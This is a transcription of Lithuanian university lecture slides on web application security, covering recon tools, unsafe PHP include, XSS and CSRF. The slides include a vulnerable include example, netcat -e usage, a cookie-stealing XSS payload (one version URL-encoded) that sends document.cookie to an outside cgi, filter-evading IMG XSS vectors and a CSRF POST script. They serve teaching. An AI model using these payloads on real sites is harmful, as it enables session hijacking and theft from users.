WWW aplikacijų saugumas 2

Transcription

1 WWW aplikacijų saugumas 2 Rolandas Griškevičius rolandas.griskevicius@fm.vgtu.lt MSN: rgrisha@hotmail.com R. Griškevičius, Saugus programavimas, VGTU,

2 Įrankiai Google Į paieškos lauką įvedam site: filetype:php Pilnas paieškos operatorių sąrašas: Google kaip proxy: Aprašyta čia: Pvz: en&u= R. Griškevičius, Saugus programavimas, VGTU,

3 Įrankiai 2 Server Sniffers: Parodo serverio: DNS registratcijos įrašus Parodo visus serverio resurso: URL'us Komentarus Nmap online: Skenuoja nutolusio IP atidarytus portus R. Griškevičius, Saugus programavimas, VGTU,

4 Įrankiai DNS informacija - Interneto archyvas. Galima pamatyti senesnes puslapių versijas - suranda IP pagal šalį nslookup netcat, socat -l klausymosi režimas -p portas -e kokią programą vykdyti esant susijungimui -v vykdymo vizualizacija R. Griškevičius, Saugus programavimas, VGTU,

5 Įrankiai 4 Web puslapio analizė. Sutelkiamas dėmesys į form, input, komentarus <?..?> <% %> grep Dažniausiai prireikia: -i case insensitive -d <read recurse...> - kaip elgtis su katalogais -A -B <n> - atvaizduoti n eilučių po prieš surastąją labai praverčia regexp žinojimas: google grep regexp R. Griškevičius, Saugus programavimas, VGTU,

6 IP tikrinimas Pagal šalį. Automatizuotas DB atsisiuntimas: wget software77.net/geo-ip?dl=1 -O IpToCountry.csv.gz Pagal proxy: Automatizuoto atsisiuntimo nėra, bet įmanoma rasti robotą : Registruojant vartotoją pravartu tikrinti taip pat DNS bei pašto hosterius / aspx R. Griškevičius, Saugus programavimas, VGTU,

7 Include Tai lankstus ir patogus mechanizmas Galima dinamiškai keisti puslapio turinį, tačiau Naudojamas nesaugiai gali sudaryti saugumo problemų Visiška skylė : <?php include($_get['content']);?> content= php include[_once] vs require[_once] Apsisaugojimas tikrinimas pagal sarašą, ID, etc R. Griškevičius, Saugus programavimas, VGTU,

8 TOP 1 pagal owasp.org XSS Galima vartotojui pakišti bet kokį JavaScript ir html kodą Pirminiame etape yra nukreipta prieš vartotoją, o ne aplikaciją Pasekmės: Pavogtas sesijos ID apsimetimo kitu vartotoju galimybė Galima pakeisti puslapio vaizdą, phishing atakos galimybė Galima skenuoti vartotojo tinklą R. Griškevičius, Saugus programavimas, VGTU,

9 Vienpusis duomenų valymas Jei duomenys valomi tik įvedimo metu: apėjus įvedimo tikrinimą į puslapį injektuojamas javascript'as su cookie vagystės funkcija OS/lib/apache sanitize input display.php save.php DB buggy script R. Griškevičius, Saugus programavimas, VGTU,

10 XSS 2 Kenkėjas užregistruoja puslapį kur nors free hosting'e Patalpina ten scriptą, pvz cookiesteal.cgi, kuris į failą išsaugo visus atėjusius GET Belieka injektuoti kenkėjišką JavaScript'ą: <SCRIPT> document.location= ' </SCRIPT> R. Griškevičius, Saugus programavimas, VGTU,

11 Nekaltas XSS Iš pažiūros šiukšlių krūva, tačiau iš tikrųjų užkoduotas JavaScript %73%63%72%69%70%74%3e%64%6f%63%75%6d %65%6e%74%2e%6c%6f%63%61%74%69%6f%6e %3d%27%68%74%74%70%3a%2f%2f %77%77%77%2e %63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b%69%65%2e%63%67%69%3f %27%20%2b%64%6f%63% 75%6d%65%6e %74%2e%63%6f%6f%6b%69%65%3c%2f %73%63%72%69%70%74%3e R. Griškevičius, Saugus programavimas, VGTU,

12 IMG (ir pan.) XSS <IMG SRC=javascript:alert('XSS')> Be <script> </script> tag'ų!!! <IMG SRC= javascript:alert(string.fromcharcode(88,83,83))> <IMG SRC=javasc ript:al&#10 1;rt(&#39;XSS&#39;& #41;> Taip pat galimi XSS tag'ai : BGSOUND, <BR SIZE="&{alert('XSS')}">, LAYER, <LINK REL=.../>, STYLE, META, IFRAME, FRAMESET etc R. Griškevičius, Saugus programavimas, VGTU,

13 CSRF Vienas iš pavojingiausių atakos tipų Labai sunku nustatyti, kad vartotojas buvo nekaltas 2 sąlygos: Automatinė autentifikacija naudojant cookie arba GET XSS pažeidžiamumas Tokiu atveju į serverį yra siunčiamas injektuotas GET kodas ir jis suveikia, nes Serveris mato tą patį IP Cookie yra tas pats, nes kreipiasi ta pati naršyklė, standartinėmis savo priemonėmis Vartotojas apie tai nieko nežino R. Griškevičius, Saugus programavimas, VGTU,

14 CSRF su POST CSRF veikia su su POST, panaudojus XMLHTTP objektą Firefox - xmlhttprequest <script> var post_data = 'name=value'; var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("post", ' true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readystate == 4) { alert(xmlhttp.responsetext); } }; xmlhttp.send(post_data); </script> R. Griškevičius, Saugus programavimas, VGTU,